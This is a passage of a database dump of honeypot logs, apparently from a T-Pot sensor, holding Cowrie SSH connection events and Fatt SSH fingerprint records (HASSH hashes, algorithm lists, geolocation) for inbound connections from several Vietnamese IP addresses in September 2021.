23239	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:12.522318+03	2021-09-20 14:15:07.251472+03	{"_id": "GQbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:60100 (192.168.176.2:22) [session: 55bf75b9d088]", "session": "55bf75b9d088", "@version": "1", "protocol": "ssh", "src_port": 60100, "dest_port": 22, "timestamp": "2021-09-20T11:07:12.522318Z", "@timestamp": "2021-09-20T11:07:12.522Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23240	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:12.766841+03	2021-09-20 14:15:07.25247+03	{"_id": "GgbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:48522 (192.168.176.2:22) [session: e7dcfc2e555e]", "session": "e7dcfc2e555e", "@version": "1", "protocol": "ssh", "src_port": 48522, "dest_port": 22, "timestamp": "2021-09-20T11:07:12.766841Z", "@timestamp": "2021-09-20T11:07:12.766Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23241	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:13.024404+03	2021-09-20 14:15:07.25347+03	{"_id": "GwbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:49912 (192.168.176.2:22) [session: 3ac7616fff16]", "session": "3ac7616fff16", "@version": "1", "protocol": "ssh", "src_port": 49912, "dest_port": 22, "timestamp": "2021-09-20T11:07:13.024404Z", "@timestamp": "2021-09-20T11:07:13.024Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23242	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:11.878086+03	2021-09-20 14:15:07.25447+03	{"_id": "KQbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33790, "dest_port": 22, "timestamp": "2021-09-20T11:07:11.878086", "@timestamp": "2021-09-20T11:07:11.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23243	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:11.883111+03	2021-09-20 14:15:07.25647+03	{"_id": "KgbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55082, "timestamp": "2021-09-20T11:07:11.883111", "@timestamp": "2021-09-20T11:07:11.883Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23244	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:11.959791+03	2021-09-20 14:15:07.25747+03	{"_id": "KwbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50352, "timestamp": "2021-09-20T11:07:11.959791", "@timestamp": "2021-09-20T11:07:11.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23245	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:12.1617+03	2021-09-20 14:15:07.258472+03	{"_id": "LAbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 55082, "dest_port": 22, "timestamp": "2021-09-20T11:07:12.161700", "@timestamp": "2021-09-20T11:07:12.161Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23246	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:12.243152+03	2021-09-20 14:15:07.25947+03	{"_id": "LQbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50352, "dest_port": 22, "timestamp": "2021-09-20T11:07:12.243152", "@timestamp": "2021-09-20T11:07:12.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23247	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:12.527162+03	2021-09-20 14:15:07.26147+03	{"_id": "LgbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60100, "timestamp": "2021-09-20T11:07:12.527162", "@timestamp": "2021-09-20T11:07:12.527Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23248	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:12.802393+03	2021-09-20 14:15:07.262471+03	{"_id": "LwbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": 